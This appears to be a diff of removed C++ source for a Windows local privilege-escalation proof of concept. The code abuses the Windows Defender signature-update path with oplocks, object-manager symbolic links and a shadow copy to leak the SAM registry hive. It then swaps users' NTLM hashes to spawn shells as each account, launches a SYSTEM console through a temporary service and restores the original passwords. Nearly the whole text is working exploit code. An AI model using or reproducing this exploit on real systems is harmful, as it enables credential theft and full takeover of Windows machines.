- wchar_t* wuid2 = 0;
- UuidCreate(&uid);
- UuidToStringW(&uid, &wuid);
- wuid2 = (wchar_t*)wuid;
- wchar_t binpath[MAX_PATH] = { 0 };
- GetModuleFileName(GetModuleHandle(NULL), binpath, MAX_PATH);
- wchar_t servicecmd[MAX_PATH] = { 0 };
- DWORD currentsesid = 0;
- ProcessIdToSessionId(GetCurrentProcessId(), ¤tsesid);
- wsprintf(servicecmd, L"\"%s\" %d", binpath, currentsesid);
- SC_HANDLE hsvc = CreateService(hmgr, wuid2, wuid2, GENERIC_ALL, SERVICE_WIN32_OWN_PROCESS, SERVICE_DEMAND_START, SERVICE_ERROR_IGNORE, servicecmd, NULL, NULL, NULL, NULL, NULL);
- if (!hsvc)
- {
- printf("CreateService Failed with error : %d\n", GetLastError());
- }
- else {
- printf(" SYSTEMShell : OK.\n");
- }
- StartService(hsvc, NULL, NULL);
- Sleep(100);
- DeleteService(hsvc);
- CloseServiceHandle(hsvc);
- CloseServiceHandle(hmgr);
- RevertToSelf();
- CloseHandle(htoken2);
- systemshelllaunched = true;
- }
- else {
- printf(" IsAdmin : FALSE\n");
- }
- }
- STARTUPINFO si = { 0 };
- PROCESS_INFORMATION pi = { 0 };
- if (!CreateProcessWithLogonW(username, NULL, newpassword_unistr, LOGON_WITH_PROFILE, L"C:\\Windows\\System32\\conhost.exe", NULL, CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT, NULL, NULL, &si, &pi))
- {
- printf(" Shell : Error %d\n", GetLastError());
- }
- else {
- printf(" Shell : OK.\n");
- if (pi.hProcess)
- CloseHandle(pi.hProcess);
- if (pi.hThread)
- CloseHandle(pi.hThread);
- }
- if (!ChangeUserPassword(username, newNTLM, NULL, realNTLMHash))
- {
- printf(" PasswordRestore : Error %d\n", GetLastError());
- }
-
- else {
- printf(" PasswordRestore : OK.\n");
- }
- CloseHandle(htoken);
- }
-
- // __debugbreak();
-
- }
- ORCloseHive(hSAMhive);
- printf("******************************************\n");
- free(newNTLM);
- return true;
- }
- bool IsRunningAsLocalSystem()
- {
- HANDLE htoken = NULL;
- if (!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &htoken)) {
- printf("OpenProcessToken failed, error : %d\n", GetLastError());
- return false;
- }
- TOKEN_USER* tokenuser = (TOKEN_USER*)malloc(MAX_SID_SIZE + sizeof(TOKEN_USER));
- DWORD retsz = 0;
- bool res = GetTokenInformation(htoken, TokenUser, tokenuser, MAX_SID_SIZE + sizeof(TOKEN_USER), &retsz);
- CloseHandle(htoken);
- if (!res)
- return false;
- return IsWellKnownSid(tokenuser->User.Sid, WinLocalSystemSid);
- }
- void LaunchConsoleInSessionId(DWORD sessionid)
- {
- HANDLE htoken = NULL;
- if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &htoken))
- return;
-
- SetPrivilege(htoken, SE_TCB_NAME, TRUE);
- SetPrivilege(htoken, SE_ASSIGNPRIMARYTOKEN_NAME, TRUE);
- SetPrivilege(htoken, SE_IMPERSONATE_NAME, TRUE);
- SetPrivilege(htoken, SE_DEBUG_NAME, TRUE);
- HANDLE hnewtoken = NULL;
- bool res = DuplicateTokenEx(htoken, TOKEN_ALL_ACCESS, NULL, SecurityDelegation, TokenPrimary, &hnewtoken);
- CloseHandle(htoken);
- if (!res)
- return;
-
- res = SetTokenInformation(hnewtoken, TokenSessionId, &sessionid, sizeof(DWORD));
- if (!res)
- {
- CloseHandle(hnewtoken);
- return;
- }
- STARTUPINFO si = { 0 };
- PROCESS_INFORMATION pi = { 0 };
- CreateProcessAsUser(hnewtoken, L"C:\\Windows\\System32\\conhost.exe", NULL, NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);
- CloseHandle(hnewtoken);
- if (pi.hProcess)
- CloseHandle(pi.hProcess);
- if (pi.hThread)
- CloseHandle(pi.hThread);
- return;
- }
- //////////////////////////////////////////////////////////////////////
- // Exploit shell spawn end
- /////////////////////////////////////////////////////////////////////
- int wmain(int argc, wchar_t* argv[])
- {
-
- if (IsRunningAsLocalSystem())
- {
- printf("Running as local system.\n");
- if (argc == 2)
- {
- DWORD sessionid = _wtoi(argv[1]);
- if (sessionid) {
- printf("Session id : %d\n", sessionid);
- LaunchConsoleInSessionId(sessionid);
- }
- }
- return 0;
- }
- DWORD _sesid = 0;
- ProcessIdToSessionId(GetCurrentProcessId(), &_sesid);
- const wchar_t* filestoleak[] = { {L"\\Windows\\System32\\Config\\SAM"}
- /*,{L"\\Windows\\System32\\Config\\SYSTEM"},{L"\\Windows\\System32\\Config\\SECURITY"}*/
- };
- wchar_t fullvsspath[MAX_PATH] = { 0 };
- HANDLE hreleaseready = NULL;
- wchar_t updtitle[0x200] = { 0 };
- wchar_t targetfile[MAX_PATH] = { 0 };
- wchar_t nttargetfile[MAX_PATH] = { 0 };
- HANDLE htransaction = NULL;
- wchar_t* filestodel[100] = { 0 };
- HINTERNET hint = NULL;
- HINTERNET hint2 = NULL;
- char data[0x1000] = { 0 };
- DWORD index = 0;
- DWORD sz = sizeof(data);
- bool res2 = 0;
- wchar_t filesz[50] = { 0 };
- LARGE_INTEGER li = { 0 };
- GUID uid = { 0 };
- RPC_WSTR wuid = { 0 };
- wchar_t* wuid2 = 0;
- wchar_t envstr[MAX_PATH] = { 0 };
- wchar_t mpampath[MAX_PATH] = { 0 };
- HANDLE hmpap = NULL;
- void* exebuff = NULL;
- DWORD readsz = 0;
- HANDLE hmapping = NULL;
- void* mappedbuff = NULL;
- HRSRC hres = NULL;
- DWORD ressz = NULL;
- HGLOBAL cabbuff = NULL;
- wchar_t cabpath[MAX_PATH] = { 0 };
- wchar_t updatepath[MAX_PATH] = { 0 };
- HANDLE hcab = NULL;
- ERF erfstruct = { 0 };
- HFDI hcabctx = NULL;
- char _updatepath[MAX_PATH] = { 0 };
- bool extractres = false;
- char buff[0x1000] = { 0 };
- DWORD retbytes = 0;
- DWORD tid = 0;
- HANDLE hthread = NULL;
- WDRPCWorkerThreadArgs threadargs = { 0 };
- HANDLE hcurrentthread = NULL;
- HANDLE hdir = NULL;
- wchar_t newdefupdatedirname[MAX_PATH] = { 0 };
- wchar_t updatelibpath[MAX_PATH] = { 0 };
- UNICODE_STRING unistrupdatelibpath = { 0 };
- OBJECT_ATTRIBUTES objattr = { 0 };
- IO_STATUS_BLOCK iostat = { 0 };
- HANDLE hupdatefile = NULL;
- UNICODE_STRING objlinkname = { 0 };
- UNICODE_STRING objlinktarget = { 0 };
- NTSTATUS ntstat = 0;
- OVERLAPPED ovd = { 0 };
- DWORD transfersz = 0;
- wchar_t newname[MAX_PATH] = { 0 };
- DWORD renstructsz = 0;
- size_t targetsz = 0;
- size_t printnamesz = 0;
- size_t pathbuffersz = 0;
- size_t totalsz = 0;
- REPARSE_DATA_BUFFER* rdb = 0;
- DWORD cb = 0;
- OVERLAPPED ov = { 0 };
- bool ret = false;
- DWORD retsz = 0;
- HANDLE hleakedfile = NULL;
- HANDLE hobjlink = NULL;
- LARGE_INTEGER _filesz = { 0 };
- OVERLAPPED ovd2 = { 0 };
- DWORD __readsz = 0;
- void* leakedfilebuff = 0;
- bool filelocked = false;
- bool needcabcleanup = false;
- bool dirmoved = false;
- bool needupdatedircleanup = false;
- UpdateFiles* UpdateFilesList = NULL;
- UpdateFiles* UpdateFilesListCurrent = NULL;
- bool isvssready = false;
- bool criterr = false;
- HANDLE hobjworkdir = NULL;
- HANDLE hsymlink = NULL;
- wchar_t objdirpath[MAX_PATH] = { 0 };
- try {
-
- printf("Checking for windows defender signature updates...\n");
- while (!CheckForWDUpdates(updtitle, &criterr)){
- if (criterr)
- goto cleanup;
- printf("No updates found for windows defender. Recheking in 30 seconds...\n");
- Sleep(30000);
- }
- printf("Found Update : \n%ws\n", updtitle);
- UpdateFilesList = GetUpdateFiles();
- if (!UpdateFilesList)
- {
- goto cleanup;
- }
- printf("Updates downloaded.\n");
- printf("Creating VSS copy...\n");
- hreleaseready = CreateEvent(NULL, FALSE, FALSE, NULL);
- if (!hreleaseready)
- {
- printf("Failed to create event error : %d\n", GetLastError());
- goto cleanup;
- }
-
- isvssready = TriggerWDForVS(hreleaseready, fullvsspath);
- if (!isvssready)
- goto cleanup;
-
- for (int x = 0; x < sizeof(filestoleak) / sizeof(wchar_t*); x++)
- {
- ZeroMemory(objdirpath, sizeof(objdirpath));
- UpdateFilesListCurrent = UpdateFilesList;
- UuidCreate(&uid);
- UuidToStringW(&uid, &wuid);
- wuid2 = (wchar_t*)wuid;
- wcscpy(envstr, L"%TEMP%\\");
- wcscat(envstr, wuid2);
- {
-
- OBJECT_ATTRIBUTES ndirobjattr = { 0 };
- UNICODE_STRING objdirunistr = { 0 };
-
- wnsprintf(objdirpath, MAX_PATH, L"\\Sessions\\%d\\BaseNamedObjects\\%s", _sesid, wuid2);
- RtlInitUnicodeString(&objdirunistr, objdirpath);
- InitializeObjectAttributes(&ndirobjattr, &objdirunistr, OBJ_CASE_INSENSITIVE, NULL, NULL);
- ntstat = _NtCreateDirectoryObjectEx(&hobjworkdir, GENERIC_ALL, &ndirobjattr,NULL,NULL);
- if (ntstat)
- {
- printf("NtCreateDirectoryObjectEx Failed : 0x%0.8X\n", ntstat);
- goto cleanup;
- }
- }
- ExpandEnvironmentStrings(envstr, updatepath, MAX_PATH);
- needupdatedircleanup = CreateDirectory(updatepath, NULL);
- if (!needupdatedircleanup)
- {
- printf("Failed to create update directory, error : %d", GetLastError());
- goto cleanup;
- }
- printf("Created update directory %ws\n", updatepath);
- {
- UNICODE_STRING _unisrc = { 0 };
- RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory");
- OBJECT_ATTRIBUTES _smobjattr = { 0 };
- InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);
- UNICODE_STRING _unidest = { 0 };
- wchar_t unidest[MAX_PATH] = { 0 };
- wcscpy(unidest, L"\\??\\");
- wcscat(unidest, updatepath);
- RtlInitUnicodeString(&_unidest, unidest);
- ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest);
- if (ntstat)
- {
- printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat);
- goto cleanup;
- }
- }
- while (UpdateFilesListCurrent)
- {
- wchar_t filepath[MAX_PATH] = { 0 };
- wchar_t filename[MAX_PATH] = { 0 };
- wcscpy(filepath, updatepath);
- wcscat(filepath, L"\\");
- MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, filename, MAX_PATH);
- wcscat(filepath, filename);
- HANDLE hupdate = CreateFile(filepath, GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, CREATE_ALWAYS, NULL, NULL);
- if (!hupdate || hupdate == INVALID_HANDLE_VALUE)
- {
- printf("Failed to create update file, error : %d", GetLastError());
- goto cleanup;
- }
- UpdateFilesListCurrent->filecreated = true;
- DWORD writtenbytes = 0;
- if (!WriteFile(hupdate, UpdateFilesListCurrent->filebuff, UpdateFilesListCurrent->filesz, &writtenbytes, NULL))
- {
- printf("Failed to write update file, error : %d", GetLastError());
- CloseHandle(hupdate);
- goto cleanup;
- }
- CloseHandle(hupdate);
- printf("Created update file : %ws\n", filepath);
- UpdateFilesListCurrent = UpdateFilesListCurrent->next;
- }
- hdir = CreateFile(L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, NULL, OPEN_EXISTING, FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED, NULL);
- if (!hdir || hdir == INVALID_HANDLE_VALUE)
- {
- printf("Failed to open definition updates directory, error : %d", GetLastError());
- goto cleanup;
- }
- hcurrentthread = OpenThread(THREAD_ALL_ACCESS, NULL, GetCurrentThreadId());
- if (!hcurrentthread)
- {
- printf("Unexpected error while opening current thread, error : %d", GetLastError());
- goto cleanup;
- }
- wchar_t thrdupdpath[MAX_PATH] = { 0 };
- wsprintf(thrdupdpath, L"\\\\?\\GLOBALROOT\\Sessions\\%d\\BaseNamedObjects\\%s\\WDUpdateDirectory", _sesid, wuid2);
- threadargs.dirpath = thrdupdpath;
- threadargs.hntfythread = hcurrentthread;
- threadargs.hevent = CreateEvent(NULL, FALSE, FALSE, NULL);
- hthread = CreateThread(NULL, NULL, WDCallerThread, (LPVOID)&threadargs, NULL, &tid);
- printf("Waiting for windows defender to create a new definition update directory...\n");
- wcscpy(newdefupdatedirname, L"C:\\ProgramData\\Microsoft\\Windows Defender\\Definition Updates\\");
- do {
- ZeroMemory(buff, sizeof(buff));
- OVERLAPPED od = { 0 };
- od.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
- ReadDirectoryChangesW(hdir, buff, sizeof(buff), TRUE, FILE_NOTIFY_CHANGE_DIR_NAME, &retbytes, &od, NULL);
- HANDLE events[2] = { od.hEvent, threadargs.hevent };
- if (WaitForMultipleObjects(2, events, FALSE, INFINITE) - WAIT_OBJECT_0)
- {
- printf("ServerMpUpdateEngineSignature ALPC call ended unexpectedly, RPC_STATUS : 0x%0.8X\n", threadargs.res);
- goto cleanup;
- }
- CloseHandle(od.hEvent);
- PFILE_NOTIFY_INFORMATION pfni = (PFILE_NOTIFY_INFORMATION)buff;
- if (pfni->Action != FILE_ACTION_ADDED)
- continue;
- wcscat(newdefupdatedirname, pfni->FileName);
- break;
- } while (1);
- printf("Detected new definition update directory in %ws\n", newdefupdatedirname);
- wcscpy(updatelibpath, L"\\??\\");
- wcscat(updatelibpath, updatepath);
- wcscat(updatelibpath, L"\\mpasbase.vdm");
- RtlInitUnicodeString(&unistrupdatelibpath, updatelibpath);
- InitializeObjectAttributes(&objattr, &unistrupdatelibpath, OBJ_CASE_INSENSITIVE, NULL, NULL);
- ntstat = NtCreateFile(&hupdatefile, GENERIC_READ | DELETE | SYNCHRONIZE, &objattr, &iostat, NULL, FILE_ATTRIBUTE_NORMAL, NULL, FILE_OPEN, FILE_NON_DIRECTORY_FILE | FILE_DELETE_ON_CLOSE, NULL, NULL);
- if (ntstat)
- {
- printf("Failed to open update library, ntstatus : 0x%0.8X", ntstat);
- goto cleanup;
- }
- printf("Setting oplock on %ws\n", updatelibpath);
- ovd.hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
- DeviceIoControl(hupdatefile, FSCTL_REQUEST_BATCH_OPLOCK, NULL, NULL, NULL, NULL, NULL, &ovd);
- if (GetLastError() != ERROR_IO_PENDING)
- {
- printf("Failed to request a batch oplock on the update file, error : %d", GetLastError());
- goto cleanup;
- }
- printf("Waiting for oplock to trigger...\n");
- GetOverlappedResult(hupdatefile, &ovd, &transfersz, TRUE);
- printf("oplock triggered !\n");
- CloseHandle(hsymlink);
- {
- UNICODE_STRING _unisrc = { 0 };
- RtlInitUnicodeString(&_unisrc, L"WDUpdateDirectory");
- OBJECT_ATTRIBUTES _smobjattr = { 0 };
- InitializeObjectAttributes(&_smobjattr, &_unisrc, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);
- UNICODE_STRING _unidest = { 0 };
- RtlInitUnicodeString(&_unidest, objdirpath);
- ntstat = _NtCreateSymbolicLinkObject(&hsymlink, GENERIC_ALL, &_smobjattr, &_unidest);
- if (ntstat)
- {
- printf("NtCreateSymbolicLinkObject failed with error : 0x%0.8X\n", ntstat);
- goto cleanup;
- }
- RtlInitUnicodeString(&objlinkname, L"mpasbase.vdm");
- ZeroMemory(nttargetfile, sizeof(nttargetfile));
- wcscpy(nttargetfile, fullvsspath);
- wcscat(nttargetfile, filestoleak[x]);
- RtlInitUnicodeString(&objlinktarget, nttargetfile);
- InitializeObjectAttributes(&objattr, &objlinkname, OBJ_CASE_INSENSITIVE, hobjworkdir, NULL);
- ntstat = _NtCreateSymbolicLinkObject(&hobjlink, GENERIC_ALL, &objattr, &objlinktarget);
- if (ntstat)
- {
- printf("Failed to create object manager symbolic link, error : 0x%0.8X\n", ntstat);
- goto cleanup;
- }
- }
- CloseHandle(ov.hEvent);
- ov.hEvent = NULL;
- CloseHandle(ovd.hEvent);
- ovd.hEvent = NULL;
- CloseHandle(hupdatefile);
- hupdatefile = NULL;
- wcscat(newdefupdatedirname, L"\\mpasbase.vdm");
- htransaction = CreateTransaction(NULL, NULL, TRANSACTION_DO_NOT_PROMOTE, NULL, NULL, NULL, NULL);
- if (!htransaction)
- {
- printf("Failed to open leaked file.\n");
- goto cleanup;
- }
- do {
- hleakedfile = CreateFileTransacted(newdefupdatedirname, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL,htransaction,NULL,NULL);
- } while (hleakedfile == INVALID_HANDLE_VALUE || !hleakedfile);
- printf("Leaked file opened %ws\n", newdefupdatedirname);
- CloseHandle(hdir);
- hdir = NULL;
- CloseHandle(hobjlink);
- hobjlink = NULL;
- printf("Exploit succeeded.\n");
- SetEvent(hreleaseready);
-
- DoSpawnShellAsAllUsers(hleakedfile);
- CloseHandle(hleakedfile);
- hleakedfile = NULL;
- RollbackTransaction(htransaction);
- CloseHandle(htransaction);
- htransaction = NULL;
- WaitForSingleObject(hthread, INFINITE);
- CloseHandle(hthread);
- hthread = NULL;
-
- }
- }
- catch (int exception)
- {
- goto cleanup;
- }
- cleanup:
- if(hint)
- InternetCloseHandle(hint);
- if(hint)
- InternetCloseHandle(hint2);
- if (exebuff)
- free(exebuff);
- if(mappedbuff)
- UnmapViewOfFile(mappedbuff);
- if (hmapping)
- CloseHandle(hmapping);
- if (hcabctx)
- FDIDestroy(hcabctx);
- if (hdir)
- CloseHandle(hdir);
- if (rdb)
- HeapFree(GetProcessHeap(), NULL, rdb);
- if (ov.hEvent)
- CloseHandle(ov.hEvent);
- if (ovd.hEvent)
- CloseHandle(ovd.hEvent);
- if (hreleaseready)
- {
- SetEvent(hreleaseready);
- Sleep(1000);
- CloseHandle(hreleaseready);
- }
- if (hleakedfile)
- {
- if (filelocked)
- UnlockFile(hleakedfile, NULL, NULL, NULL, NULL);
- CloseHandle(hleakedfile);
- }
- if (leakedfilebuff)
- free(leakedfilebuff);
- if (hcurrentthread)
- CloseHandle(hcurrentthread);
- if (needupdatedircleanup)
- {
- wchar_t dirtoclean[MAX_PATH] = { 0 };
- wcscpy(dirtoclean, updatepath);
- UpdateFilesListCurrent = UpdateFilesList;
- while(UpdateFilesListCurrent)
- {
- if (UpdateFilesListCurrent->filecreated)
- {
- wchar_t filetodel[MAX_PATH] = { 0 };
- wcscpy(filetodel, dirtoclean);
- wcscat(filetodel, L"\\");
- MultiByteToWideChar(CP_ACP, NULL, UpdateFilesListCurrent->filename, -1, &filetodel[lstrlenW(filetodel)], MAX_PATH - lstrlenW(filetodel) * sizeof(wchar_t));
- DeleteFile(filetodel);
- }
- if (UpdateFilesListCurrent->hsymlink) {
- CloseHandle(UpdateFilesListCurrent->hsymlink);
- UpdateFilesListCurrent->hsymlink = NULL;
- }
- UpdateFiles* UpdateFilesListOld = UpdateFilesListCurrent;
- UpdateFilesListCurrent = UpdateFilesListCurrent->next;
- free(UpdateFilesListOld);
- }
- RemoveDirectory(dirtoclean);
- }
- return 0;
- }
|